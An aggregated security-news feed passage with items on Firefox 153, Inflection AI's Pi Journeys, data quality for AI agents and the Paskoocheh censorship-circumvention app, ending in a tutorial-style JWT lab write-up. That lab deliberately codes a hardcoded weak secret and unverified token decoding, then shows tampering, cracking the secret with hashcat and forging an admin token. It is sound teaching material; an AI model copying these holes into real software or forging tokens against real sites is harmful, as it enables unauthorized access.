These additions make Firefox an even more capable document viewer and editor, especially for users who frequently work with PDF files.

Stronger Privacy and Permission Controls

Privacy remains one of Firefox's biggest selling points, and version 153 introduces several enhancements designed to give users more visibility and control over website permissions.

New improvements include:

  • A visual indicator when a website is actively accessing your location
  • More restrictive default permissions for browser extensions accessing local files
  • Local Area Network (LAN) restrictions enabled by default for all users

These changes reduce unnecessary exposure of local resources while making it easier to understand what websites and extensions can access.

Experimental JPEG XL Support

Firefox 153 also adds experimental support for the JPEG XL image format, which many developers consider a promising successor to older image standards.

JPEG XL offers several advantages, including:

Go to Full Article
]]> <![CDATA[Research-Grade EdgeBench Analysis: AI Agent Benchmarking, Leaderboard Analytics, Scaling Laws, and Evaluation Metrics]]> https://tsecurity.de/de/3687695/ai-nachrichten/research-grade-edgebench-analysis-ai-agent-benchmarking-leaderboard-analytics-scaling-laws-and-evaluation-metrics/ https://tsecurity.de/de/3687695/ai-nachrichten/research-grade-edgebench-analysis-ai-agent-benchmarking-leaderboard-analytics-scaling-laws-and-evaluation-metrics/ Thu, 23 Jul 2026 00:10:37 +0200 🔧 AI Nachrichten tsecurity.de In this tutorial, we explore EdgeBench as a practical benchmark for evaluating advanced AI agents across diverse task categories, runtime environments, and interaction-time budgets. We begin by downloading the dataset snapshot from Hugging Face, parsing the released task specifications, and examining the benchmark taxonomy, execution settings, internet requirements, judging logic, and scoring metadata. We then […]

The post Research-Grade EdgeBench Analysis: AI Agent Benchmarking, Leaderboard Analytics, Scaling Laws, and Evaluation Metrics appeared first on MarkTechPost.

]]> <![CDATA[Inflection AI returns to consumer market with Pi Journeys after Microsoft upheaval]]> https://tsecurity.de/de/3687581/it-nachrichten/inflection-ai-returns-to-consumer-market-with-pi-journeys-after-microsoft-upheaval/ https://tsecurity.de/de/3687581/it-nachrichten/inflection-ai-returns-to-consumer-market-with-pi-journeys-after-microsoft-upheaval/ Wed, 22 Jul 2026 22:58:21 +0200 📰 IT Nachrichten tsecurity.de Inflection AI, the Palo Alto startup that two years ago became Silicon Valley's most famous cautionary tale about the brutal economics of frontier AI, announced Tuesday that it is returning to the consumer market with a new research division and an experimental product built around a provocative thesis: the next competitive battleground in AI won't be raw intelligence, but relationships.

The company launched Inflection AI Labs, a public-facing research and experimentation arm, alongside Pi Journeys, the lab's first product experiment — an AI experience designed to adapt to a user's life stage, whether that's becoming a parent, taking on caregiving duties, changing careers, or aging. The announcement arrived with a research report on consumer AI habits and a substantial update to Pi, the company's flagship chatbot, adding improved voice, memory, and new agentic tools for reminders, to-do lists, and shopping.

"Inflection AI is the company. Pi is our flagship consumer product. Inflection AI Labs is where we experiment, explore personal intelligence and share more publicly. Pi Journeys is the first public experiment from Inflection AI Labs," CEO Sean White told VentureBeat in an exclusive interview.

Behind the tidy org chart is a far more interesting story: a company attempting one of the more unusual second acts in the AI industry, powered by an argument that the entire market is optimizing for the wrong thing.

Why Inflection AI believes the chatbot era's biggest flaw is that it's transactional

White's central claim is that today's AI assistants — including the industry's most capable models — are fundamentally transactional. You ask, they answer, the session ends. He believes that architecture misses most of what people actually need from artificial intelligence in their daily lives.

"One of the things that really struck us in particular, and this showed up in the research, was that a lot of the work is very transactional, and you'll hear me say a lot that we've been shifting all this from transactional to relational systems," White said. "Not everything is going to be: I do a single turn, I utter a question, I get a search response back."

White frames the industry's evolution as a progression through four kinds of intelligence. First came raw IQ — the foundation model race. Then emotional intelligence, which Inflection made its signature with Pi's famously warm conversational style. Then agentic intelligence — AI that acts rather than just talks — which White says Inflection absorbed from its enterprise work. The fourth, and the one Inflection is now staking its future on, is what the company calls relational intelligence: AI that understands not just you, but the web of people around you.

"There's so much fear about these things pushing people into loneliness,” White said. “If we design these pro-social systems as another design criteria, that actually makes a huge difference."

That design philosophy is a pointed counter-narrative to one of the loudest anxieties in consumer AI right now: that emotionally engaging chatbots deepen isolation by substituting for human contact. Inflection argues the opposite is possible — that an AI with structured knowledge of your relationships can push you back toward people rather than away from them.

Inside Pi Journeys, the AI companion that maps your relationships and life stages

Pi Journeys makes that idea concrete. When users first open the product, it asks about their life stage — caregiver, household manager, midlife transition — and then builds what White describes as specially structured memory around the people who matter in that context. From there, the system becomes proactive.

"It starts to build up memories around that, and it acts as a memory prosthetic — but in a pro-social way," White said. "It doesn't get in the way of your interactions with other people; it really helps facilitate them." The system might remind a user, for example, that a friend deserves a call, or resurface what was last discussed with a family member involved in a parent's care.

White, who spent years as chief R&D officer at Mozilla before taking Inflection's helm, was quick to flag the obvious privacy implications of an AI that maps your social graph. "We've built a lot of privacy systems into this," he said, noting users can delete and manage the people recorded in their profile. Whether consumers will trust a venture-backed AI company with a structured database of their most important relationships remains one of the biggest open questions hanging over the product — and one that enterprise buyers evaluating Inflection's technology will watch closely.

Asked why this was the first Labs experiment, White was direct: "Pi Journeys takes into account people's life stages and experiences because we have heard from users that we can provide more value in helping them navigate their lives. Pi Journeys lets us experiment with the early stages of prosocial and relational intelligence because life isn't single-player."

The product has been tested internally and with small closed groups, White said, and is now being released more broadly as an experiment rather than a finished product — a posture the Labs branding is designed to make explicit.

What Inflection's consumer AI research reveals about how people actually use chatbots

Inflection Labs' first publication, the State of Consumer AI Research Report, offers the empirical scaffolding for the strategy. The average consumer now uses roughly two different AI tools every day and three per week, the company found — evidence, in Inflection's reading, that no single assistant has locked up consumer loyalty and that the market remains contestable.

More telling is why people choose the tools they do. Respondents cited personalization, style and tone, context awareness, and — notably — emotional understanding as deciding factors. They also said they want AI to be more than a productivity engine: a coach or mentor to motivate them, a chef to suggest recipes, a DJ to curate playlists.

"One thing we're certainly finding is that a lot of that also is in work, not so much in everyday life," White said. "That's our focus right now — the everyday life part."

This is a shrewd reading of the competitive map. The best-funded AI labs are pouring resources into coding tools, enterprise agents, and developer platforms, leaving everyday consumer use cases comparatively underserved. White sees the gap clearly. "We see a lot of products that are being aimed more and more at the enterprise," he said. "As a computer scientist by training, I kind of love the IDEs as this tool, but it's not really great for everybody. There's so much regular everyday use from folks that is either purely voice or that is purely mobile."

He recalled a conversation with a conference staffer who told him she owned only a phone, no laptop — exactly the kind of user, he argued, that the industry's developer-centric product roadmaps have left behind.

How the $650 million Microsoft deal hollowed out Inflection — and set up its second act

To understand why any of this is remarkable, you have to rewind to March 2024. Inflection was then one of the hottest startups in AI, having raised $1.3 billion in mid-2023 in a round backed by Microsoft, Nvidia, Bill Gates, and Reid Hoffman — more than $1.5 billion in total. Pi had crossed one million daily active users, per Reuters.

Then, in a deal that reshaped how the industry thinks about acqui-hires, Microsoft hired away co-founder and CEO Mustafa Suleyman, chief scientist KarĂŠn Simonyan, and most of the company's roughly 70 employees, paying Inflection about $650 million largely to license its technology, as Reuters reported. Suleyman now runs Microsoft's consumer AI business. The structure of the deal drew scrutiny from the FTC and Britain's competition regulator, though the UK's Competition and Markets Authority cleared it in September 2024 and EU regulators declined to act.

White, installed as CEO in the aftermath, steered the remnant company hard toward enterprise, acquiring three startups in late 2024 — Jelled.AI, BoostKPI, and the European consulting firm Boundaryless — and telling TechCrunch that November that Inflection had no intention of competing with companies building 100,000-GPU frontier systems.

Tuesday's announcement doesn't reverse that position so much as complicate it. Asked how to think about the company today, White called it "a consumer-first strategy that bridges both consumer and enterprise efforts" — and he insists the two sides feed each other.

Enterprise deployments, including a partnership with Intel that is among the few he can name publicly, taught Inflection how to run models inside complex infrastructure. Consumer products, meanwhile, let the company iterate at speed. "The part I also like about the consumer side, and this has always been true, is that we can move faster, experiment faster, and try and learn faster," White said.

The six-month prediction: relationship-aware AI is coming to the enterprise

Buried in White's consumer pitch is the claim that should matter most to technical decision-makers. "Normally I'd say like a year, but let's call it six months," he said. "You're going to start to see a bunch of enterprises care a lot more about the relationships that are inside the enterprises and what that picture is, not just the workflows."

If White is right, the wave of workflow-automation agents currently flooding the enterprise market is only the first phase of business AI adoption — with relationship-aware systems, tested first on consumers, following close behind. Inflection is essentially using its consumer products as a live laboratory for capabilities it plans to sell into companies. It's a capital-efficient strategy for a firm that can no longer outspend rivals on training runs, and a risky one, since it depends on consumers showing up in numbers large enough to generate the learning.

The technical substance underneath is equally pragmatic. Pi today runs not on a single proprietary frontier model but on an orchestration layer routing across many models — some descended from Inflection's original fully trained cores, some fine-tuned, some open source, including work with Nvidia that White says gives Inflection access to unreleased cutting-edge models. He also took a swipe at the industry's loose vocabulary around ownership: "When people say that the model is their own, most of the time nowadays — I guess I won't name names — a lot of companies will actually take a checkpoint, and then they will fine-tune from that checkpoint. But very few people actually start from that beginning core."

That candor extends to open source, where White carefully hedged. "We're not ready to promise what I think of as true open source, and by that I mean everything," he said, invoking his Mozilla years overseeing genuinely open projects like Rust and WebAssembly.

Weights without training data and pipelines, he argued, often leave developers unable to do anything meaningful with a supposedly "open" model. "We are a PBC, and there's still a C in there," he added — a reminder that public benefit corporations still have businesses to protect. The Labs will collaborate with academic researchers, including Stanford professors who visited the company's Palo Alto office this week, and continue contributing to open projects such as PyTorch.

Can a diminished Inflection compete with AI giants spending billions?

Reid Hoffman, the LinkedIn co-founder who co-founded Inflection and stayed on through the Microsoft upheaval, framed the announcement in the sweeping terms of his recent writing on AI and human agency. "Humans should be amplified by AI, not replaced. That's the principle Pi was built on," Hoffman said in the announcement. "When that kind of agency is available to everyone, you get superagency."

The skeptic's case is easy to make. Inflection is a fraction of its former size, competing for consumer attention against products from companies spending tens of billions of dollars a year. Pi's model was state of the art in 2023; it is not in 2026. And "relational intelligence" is, for now, a brand claim awaiting proof.

But the bull case is not crazy either. Inflection's own research shows consumers already juggle multiple AI tools and choose them for qualities — tone, emotional understanding, personalization — that frontier labs treat as afterthoughts. The company kept its technology, its Microsoft licensing windfall, and a defensible enterprise niche in on-premise, emotionally intelligent deployments. And it is targeting the one consumer segment — everyday, mobile-first, voice-first life management — that the coding-obsessed giants have largely ignored.

Asked what success looks like twelve months from now, White declined to talk numbers. "It's less about scale for scale's sake and more about scaling for impact by empowering people and improving their lives," he said. "Over the next year, success means leading the market towards relational intelligence and transforming AI interactions from transactional to relational."

Two years ago, Microsoft walked away with Inflection's founders, its staff, and its shot at the frontier — but it left behind the one idea the giants still haven't figured out how to build: an AI that knows the people in your life matter more than the tasks on your list. Inflection is betting the company, again, that the idea was the valuable part all along.

]]> <![CDATA[AI agents aren't confidently wrong because of bad context — they're wrong because of bad data engineering]]> https://tsecurity.de/de/3687580/it-nachrichten/ai-agents-arent-confidently-wrong-because-of-bad-context-theyre-wrong-because-of-bad-data-engineering/ https://tsecurity.de/de/3687580/it-nachrichten/ai-agents-arent-confidently-wrong-because-of-bad-context-theyre-wrong-because-of-bad-data-engineering/ Wed, 22 Jul 2026 22:58:18 +0200 📰 IT Nachrichten tsecurity.de You spend weeks tuning an AI chatbot. Answers are accurate. Stakeholders sign off, and you ship it. Three months later, the system is confidently wrong about a third of what users ask. Nobody changed the model, and nobody touched the prompts. The world moved, pricing changed, a policy updated, a product spec shipped a new version, and the underlying knowledge store didn't move with it.

This is not a hypothetical. It's one of the most common production failure modes in enterprise AI right now, and most data engineering teams don't have the right tooling to catch it, regardless of how the AI system retrieves the data.

The failure that doesn't look like a failure 

An AI application doesn't care whether it's retrieving from a vector store, a document index, or an API call. Whatever the mechanism, nothing in a standard retrieval pipeline checks whether what it's serving is still correct. A stale pricing document retrieves just as confidently as a current one, because the system is scoring relevance or availability, not correctness. A record with a silently missing field passes through just as cleanly as a complete one, for the same reason.

So the failure is invisible by design. Outdated or incomplete data still scores high on relevance, or passes every check a data pipeline was built to run. The model answers with full confidence because the retrieved context looks authoritative. Every dashboard you're watching stays green. The system looks like it's working. It's just wrong.

I’ve watched a similar version of this happen outside the AI context, in a fintech pipeline. An upstream system changed a field without notifying downstream users. The pipeline did not fail; it simply propagated bad values into dashboards because the system only checked whether the job completed, not whether the data was still correct. The issue surfaced only when a customer noticed something inconsistent. By then, the bad data had already moved downstream. 

Whether it's a document that's gone stale or a field that's gone silently missing, the failure shape is the same: the absence of an error is not the presence of correctness, and without building proper validation layers, nothing in the pipeline could identify the problem.

Why this is a data engineering problem

Teams that hit this failure tend to misdiagnose it, and they tend to do it twice.

Blaming the model: The first instinct is to blame the model, try a different LLM, adjust the prompt. The real problem lies further upstream, at the data engineering layer, the same instinct behind the fintech failure above: monitoring built for the pipeline, not the data.

Blaming the retrieval layer: Once the model's ruled out, the next instinct is to blame the retrieval or context layer instead and buy a better one. The timing isn't a coincidence: as enterprises push these systems into the real production world, this gap is exactly what's starting to surface, and the vendor response has been everywhere. 

  • AWS just entered the "context layer" race with a knowledge graph that learns from agent usage. 

  • Snowflake's new Horizon Context and Cortex Sense target the exact symptom this piece opened with: agents giving confident wrong answers because nothing governs the business logic underneath them. 

Both are real responses to a real problem, but they sit one layer above it; a knowledge graph still depends on whatever feeds it.

The real problem lies further upstream, at the data engineering layer. Teams check whether a job ran, not whether the data it moved is still true, an instinct that predates AI by years. Monitoring is built for the pipeline, not for the data. 

What's actually missing: Data observability

Data observability is a well-known concept that doesn't get enough attention in how it's actually implemented. The relevant metric isn't a percentage — it's coverage: what fraction of critical datasets have lineage that's actually queryable, versus only living in someone's head.

Uber built a dedicated data quality and observability platform long before retrieval-augmented generation existed. Their Unified Data Quality platform supports more than 2,000 critical datasets and detects around 90% of data quality incidents before they reach downstream consumers.

Netflix solved a different piece of the same problem, building a company-wide data lineage system so anyone could answer where a dataset came from and what touched it along the way. It maps dependencies across Kafka topics, ML models, and experimentation, not just warehouse tables. Similar to Uber, the platform was built for humans and now it has become more important with the rise in AI/LLM applications.

Between them, Uber and Netflix cover two of the four things worth building for. In practice, I think about it as four dimensions, each measurable on its own terms.

Correctness: Does each record conform to the shape and rules it's supposed to, right field types, no unexpected nulls, values in range. Tools like Great Expectations and Soda handle this well: automated row and column-level validation instead of manual checks after something breaks. Track percentage of records passing validation per run.

Freshness: Is the data still current relative to its source, not just current as of its last check. Track time since last successful update per source, with an SLA per dataset rather than one blanket threshold, since some sources need hourly refresh and others don't.

Consistency: Does the same fact read the same way everywhere it's stored or indexed. This fails silently, it only shows up when two systems fed by the same source start disagreeing. A periodic cross-check between downstream destinations, flagging mismatch rate above a threshold, is enough to catch it early.

Lineage: Can you trace any output back to its source and every transform it passed through, the same question Netflix built its system to answer. 

None of this requires infrastructure most data teams don't already have. I know because I've built it, not just argued for it.

At Socure, client data arrived in whatever shape the client felt like sending it, and occasionally, quietly wrong. The challenge was building a system where incorrect data could be identified before it propagated downstream. The same principles applied: Validate what arrived, understand where it came from, and prevent bad data from becoming someone else's problem.

Great Expectations became part of that foundation: schema and range validation at ingestion, per-source SLAs for freshness, cross-system checks for consistency, and file-level lineage. All of it sat behind a write-audit-publish pattern, where data landed in staging, was validated, and only moved downstream if it passed the required checks.

The result showed up downstream: better accuracy across the board, in reporting, in the ML models, and in AI retrieval built on top of that same data.

What to do Monday morning

If you're running retrieval-based AI systems in production, the diagnostic question isn't which model to try next or which retrieval architecture to migrate to. It's four narrower questions: 

  • Is the underlying data validated against the standards required by its consumers?

  • What's the oldest piece of content currently being served with high confidence?

  • Would two chunks of the same source ever disagree with each other in the same retrieval result?

  • Could you trace where it came from if it turned out to be wrong?

If you can't answer those questions, then the gap lies in the pipeline between your source systems and whatever your agent reads from. That’s a data engineering fix, not a model swap or a vendor migration.

Whether you're building reporting pipelines, ML systems, or AI agents, correctness, freshness, consistency, and lineage are what make data trustworthy. AI simply exposes weaknesses that have existed in data engineering all along. 

]]> <![CDATA[Paskoocheh: When you need a tool to reach the tool]]> https://tsecurity.de/de/3687545/it-security-tools/paskoocheh-when-you-need-a-tool-to-reach-the-tool/ https://tsecurity.de/de/3687545/it-security-tools/paskoocheh-when-you-need-a-tool-to-reach-the-tool/ Wed, 22 Jul 2026 22:34:54 +0200 💾 IT Security Tools tsecurity.de

++ This guest post is part of a spotlight series on the organizations defending the free Internet.++

Due to heavy information controls, people in Iran face significant barriers to accessing the Internet. Authorities have actively blocked numerous websites and apps, including conventional circumvention and digital security tools such as VPNs, social media platforms, and the app stores themselves. This creates a "chicken-and-egg" problem: users need a VPN to download a VPN.

Launched in 2016, Paskoocheh, Persian for "alleyway," is an open source alternative app store, community hub, and one-stop-shop for users to access information and tools to circumvent censorship, enhance their privacy, securely communicate, and express themselves freely online. Developed and maintained by ASL19, a technology and exiled media organization named after Article 19 of the Universal Declaration of Human Rights, Paskoocheh restores access and allows people to reach trusted tools through four censorship-resilient channels: the Paskoocheh website, Android App, Email bot, and Telegram bot. 

Users are also able to reach our Persian-speaking support team through the Paskoocheh Helpdesk, which handles over 200 tickets daily. In addition, ASL19 translates and publishes accessible user guides, blog posts, and multimedia content to help users navigate online privacy and digital security best practices.

Paskoocheh serves as more than an alternative app store; it is also a bridge between tool developers and in-country users. Our support team relays user feedback to tool developers, helping improve tools and overall experience in Iran. We also conduct in-country testing with developers and user communities to evaluate new features and strengthen censorship-resilient technologies.

Paskoocheh's impact so far

This combination of access, user support, and education has turned Paskoocheh into a critical lifeline for users in Iran.

  • # of tool downloads since 2016:  17,634,852 

  • # of community members in Iran supporting testing and localization efforts: 2,000+

  • # of monthly active users on web and app: ~200K

During periods of internet disruption and nationwide protests in Iran, these tools became critical communication lifelines. One longtime user wrote to us: 

"I've been using this free app for several years now. It's free, unique, and unlike others, it has no equal." Reflecting on the broader digital environment in the country, they added that "in these difficult economic conditions, people are struggling just to survive, while many apps either empty people's pockets, deceive and lie to them, or serve as tools for spying and propaganda."

Messages like these highlight the importance of privacy-preserving technologies in environments where surveillance, censorship, and disinformation shape everyday life online. In moments of crisis, internet freedom tools become part of how people maintain relationships, exchange trusted information, and stay connected to the outside world. For some users, these tools also made it possible to continue reporting on events on the ground, verify information during periods of state-backed disinformation, and safely communicate evidence of abuses despite widespread surveillance and connectivity disruptions.

The future of Paskoocheh: Scaling a community-first approach to internet freedom

As internet censorship tactics evolve rapidly, internet shutdowns are becoming more frequent and more sophisticated, cutting communities off from information, communication, and one another. 

What we have learned through this work is that access alone is not enough. Technology is only useful if people trust it, understand how to use it safely, and can rely on support networks when digital spaces become unstable or dangerous.

That is why our work extends beyond technical development. Alongside building secure access technologies, ASL19 invests heavily in user education, digital security guidance, and community capacity building. Every support ticket answered, training delivered, and piece of digital safety guidance shared helps people stay connected under pressure. 

This human-centered approach is becoming increasingly important as authoritarian tactics evolve globally. During internet shutdowns and heightened censorship, local helper communities often become the first line of assistance for journalists, activists, students, and ordinary citizens. 

With additional support, ASL19 aims to continue expanding Paskoocheh beyond its current capacity into a broader resilience ecosystem that combines technical innovation with stronger on-the-ground support systems. This includes improving access to trusted circumvention and privacy tools during shutdowns, expanding multilingual user support and educational resources, and deepening collaboration with communities operating under digital authoritarianism. 

This work is not solely about technology products. At a moment when most people's understanding of the internet is shaped by the little squares in their pockets, it is important to acknowledge and support the broader ecosystems that make access possible. Civil society, independent media, and grassroots communities all play a part in helping people survive under pressure. This is why partnerships within the internet freedom ecosystem matter. Living under digital authoritarianism means that these are not abstract protections against hypothetical risks, but practical tools that make journalism, organizing, education, and communication possible in the first place. 

About ASL19

Named after Article 19 of the Universal Declaration of Human Rights, ASL19 is a technology and exiled media organization working to counter digital authoritarianism. For more than a decade, we have partnered with civil society groups, journalists, researchers, activists, and internet users living under some of the world's most restrictive online environments. Guided by the belief that privacy and internet freedom are essential to safe communication, access to information, and civic participation, ASL19 develops technologies and support systems that help people navigate censorship, surveillance, internet shutdowns, and information manipulation. In countries such as Iran, Russia, and China, these tools serve as critical lifelines, enabling people to communicate securely, access information, document human rights abuses, and stay connected to the outside world.

]]> <![CDATA[Two Ways To Mess Up Your JWT Safety Net In Your Own Lab.]]> https://tsecurity.de/de/3687361/hacking/two-ways-to-mess-up-your-jwt-safety-net-in-your-own-lab/ https://tsecurity.de/de/3687361/hacking/two-ways-to-mess-up-your-jwt-safety-net-in-your-own-lab/ Wed, 22 Jul 2026 20:59:45 +0200 🕵️ Hacking tsecurity.de

In the lab we’re going to build today, we’ll talk about JWTs and how they can affect the security of your website. This is a lab that’s been requested, and I could not be happier that the community is actually suggesting things for me to build. It’s a privilege to do this.

JWT As Security Measure

JSON Web Tokens are used a lot by developers. They provide a way to send ‘data’ with them (e.g., a role from a user), to check for authorization. A JWT consists of 3 parts, separated by a ..

Let’s take this JWT as an example.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30

The first part eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 is called 'the header'. It holds information on the type of the JWT. The second part eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0 is the payload, which holds the claims. This is where that 'data' lives. If you decode this with Base64url you'll learn that this token belongs to John Doe and that he is an administrator. The last part is the important part. This is the signature. Each JWT should be signed with a strong password. Ideally that password is saved in a .env file on the server and not in the code.

So now you might wonder, well if it’s signed, nothing can go wrong right? Well, if that were true, I wouldn’t spend my evenings writing these kinds of blog posts now would I 😅.

Let’s Build The Lab Already

You’re right to think this by now. Enough theory, let’s do some hands on keyboard. As always in this series, I’ll provide you with the lab structure and some code to get us started.

Lab Tree

/mediumLabs
└── /JWT
    ├── server.js
    ├── login.html
    ├── index.html
    ├── admin.html
    ├── /node_modules
    ├── /package-lock.json
    └── /package.json

Code

server.js

const express = require('express');
const jwt = require('jsonwebtoken');
const path = require('path');
const Database = require('better-sqlite3');
const app = express();
const JWT_SECRET = 'secret';
const db = new Database(':memory:');
db.exec(`
  CREATE TABLE users (
    id INTEGER PRIMARY KEY,
    username TEXT,
    password TEXT,
    role TEXT
  )
`);
db.prepare("INSERT INTO users (username, password, role) VALUES ('user', 'password', 'user')").run();
app.use(express.urlencoded({ extended: false }));

app.get('/', (req, res) => res.sendFile(path.join(__dirname, 'login.html')));
function getToken(req) {
  const match = (req.headers.cookie || '').match(/token=([^;]+)/);
  return match ? match[1] : null;
}
app.post('/login', (req, res) => {
  const { username, password } = req.body;
  const user = db.prepare('SELECT * FROM users WHERE username = ? AND password = ?').get(username, password);
  if (!user) return res.redirect('/?error=Invalid+credentials');
  const token = jwt.sign({ username: user.username, role: user.role }, JWT_SECRET);
  res.setHeader('Set-Cookie', `token=${token}; Path=/`);
  res.redirect('/index.html');
});
app.get('/index.html', (req, res) => {
  try {
    res.sendFile(path.join(__dirname, 'index.html'));
  } catch {
    res.redirect('/');
  }
});
app.get('/admin', (req, res) => {
});

app.listen(3000, () => console.log('Listening on http://localhost:3000'));

login.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login</title>
</head>
<body>
    <h1>Login</h1>
    <form method="POST" action="/login">
        <div>
            <label>Username: <input type="text" name="username" required></label>
        </div>
        <div>
            <label>Password: <input type="password" name="password" required></label>
        </div>
        <button type="submit">Login</button>
    </form>
</body>
</html>

index.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Home</title>
</head>
<body>
    <h1>Welcome!</h1>
    <p>You are logged in as <strong id="username"></strong>.</p>
    <p><a href="/admin">Go to Admin Panel</a></p>
    <br>
<script>
        function getCookie(name) {
            return document.cookie.split('; ').find(r => r.startsWith(name + '='))?.split('=')[1];
        }
        function decodeJWT(token) {
            return JSON.parse(atob(token.split('.')[1]));
        }
        const token = getCookie('token');
        const payload = decodeJWT(token);
        document.getElementById('username').textContent = payload.username + ' (role: ' + payload.role + ')';
    </script>
</body>
</html>

admin.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Admin Panel</title>
</head>
<body id="page">
<h1>Admin Panel</h1>
    <p>Welcome, admin. Here is the secret flag:</p>
    <p><strong>FLAG{JWT}</strong></p>
    <br>
    <a href="/index.html">Back to Home</a>
</body>
    <script>
        function getCookie(name) {
            return document.cookie.split('; ').find(r => r.startsWith(name + '='))?.split('=')[1];
        }
        function decodeJWT(token) {
            return JSON.parse(atob(token.split('.')[1]));
        }
        const token = getCookie('token');
        const payload = decodeJWT(token);
        if (payload.role !== 'admin') {
            alert('Access denied. You need to be an admin to view this page.');
        }
    </script>
</html>

Let’s Add Some Vulnerabilities

Ok, so now we have our base code, and we need to implement the functionality that will make sure only people with the role admin can navigate to /admin. First off, run npm run dev to see your code actually start.

In a very, very wrong way we already tried implementing security in admin.html. When you look inside the <script> tags, you'll see that if the role is not admin, an alert will pop up. I added this because this was a real-life finding of mine. Some developer did not realise that even if your role isn't admin, you will be able to navigate to the page. The only 'annoying' thing is that you'll have to click OK on an alert box.

It’s important to realise that these mistakes happen more often than you think. Developers with a lot on their plate, little sleep and not enough coffee can truly believe this is ‘secure’.

So let’s now add some real security to the backend! Frontend ‘security’ is ridiculous to start with, so let’s do our very best.

server.js

app.get('/admin', (req, res) => {
  const token = getToken(req);
  if (!token) return res.redirect('/');
  const payload = jwt.decode(token);
  if (!payload || payload.role !== 'admin') return res.status(403).send('Forbidden');
  res.sendFile(path.join(__dirname, 'admin.html'));
});

Alright, let’s walk through this piece of code. First we look for the token — if there isn’t one, we redirect to /, which is a good strategy. Then we decode the JWT and check if the role is admin. If there's no token, or the role isn't admin, we get a 403.

Sounds solid, right? If everything checks out, the backend trusts you, because the token says you’re an admin.

So what’s the problem? The code does check if the role is admin, which is good. But it never checks whether that role actually belongs to you. That check should happen by verifying the JWT’s signature. This code doesn’t, because jwt.decode() only reads the payload, it doesn't verify anything. When the server originally signed this token, it signed it with role: user. If you change the payload to role: admin without re-signing it, the signature no longer matches what's in the token, but since nothing here checks the signature, that mismatch goes completely unnoticed.

That’s the bug: because that check never happens, we can just change the payload in Burp Suite and see the admin page.

There is a very easy way to solve this though. Instead of using jwt.decode(token) a developer should always use jwt.verify(token, JWT_SECRET). This code makes sure that function will create a signature and check that signature with the signature that has been sent. If there was any tampering with the JWT, this signature won't check out and your access to the restricted endpoint is denied.

So let’s update our code.

server.js

app.get('/admin', (req, res) => {
  try {
    const payload = jwt.verify(getToken(req), JWT_SECRET);
    if (payload.role !== 'admin') return res.status(403).send('Forbidden');
    res.sendFile(path.join(__dirname, 'admin.html'));
  } catch {
    res.redirect('/');
  }
});

If you now try the same thing, you’ll end up in the catch block, which will redirect you to / (our login page) because the signature will not check out.

So all safe now, right? Well let’s try something else… If you ever want to crack a secret, I can recommend hashcat. It's available on all platforms and easily installable.

For this attack we’ll need mode 16500 (this is just a way to tell hashcat what we want to do). We'll also need the flag -a 0, which will tell hashcat to use a wordlist we're gonna provide. Lastly, you'll see -d 1 — that's because I'm on a Mac with an M-chip.

The complete command looks like this: hashcat -m 16500 -a 0 <JWT> rockyou.txt -d1.

Don’t forget to use the untampered token for this!
➜  wordlists hashcat -m 16500 -a 0 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImlhdCI6MTc4MzEwNDc0OX0.myFrub4u8yG3IeItDYKO-2Vci6sMfLaJ1OrlQDeuQfc rockyou.txt -d1
hashcat (v7.1.2) starting
<skip>
Dictionary cache hit:
* Filename..: rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImlhdCI6MTc4MzEwNDc0OX0.myFrub4u8yG3IeItDYKO-2Vci6sMfLaJ1OrlQDeuQfc:secret
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 16500 (JWT (JSON Web Token))
Hash.Target......: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZS...DeuQfc

As you can see, at the end of our JWT there is a colon with our JWT_SECRET written behind it.

Now let’s abuse this knowledge we have gained. In Burp Suite we’ll use functionality that will sign our tampered JWT so that the code will verify it, and the signature will check out.

In Burp Suite, click on the JWT editor on the top right corner, and choose the option ‘New Symmetric Key’. Once you have that, click specify secret and fill in the cracked JWT_SECRET in there. Give it an ID and click OK.

Once you have that, go back to Repeater, change the role back to ‘admin’, click sign and select the ID you just made.

And now, we have successfully evaded the security that was in place.

Lessons We Should Learn About This

As you saw, correctly implementing a JWT is only the first step of coding securely. Having a strong password policy, even when it’s not really enforceable, is very important. Don’t use ‘secret’ as your JWT_SECRET

One thing I already mentioned, but what I want to stress again is NEVER EVER store your JWT secret as a hardcoded variable, like we did with JWT_SECRET = 'secret'. Your code will probably live on GitHub where all kinds of stupid things can happen. A secret belongs in a .env file that is in your .gitignore and lives only on your dev machine and on the server, NOT in your code.

I break web apps for fun, make vulnerable labs to learn, and write about it so you can too.

Two Ways To Mess Up Your JWT Safety Net In Your Own Lab. was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

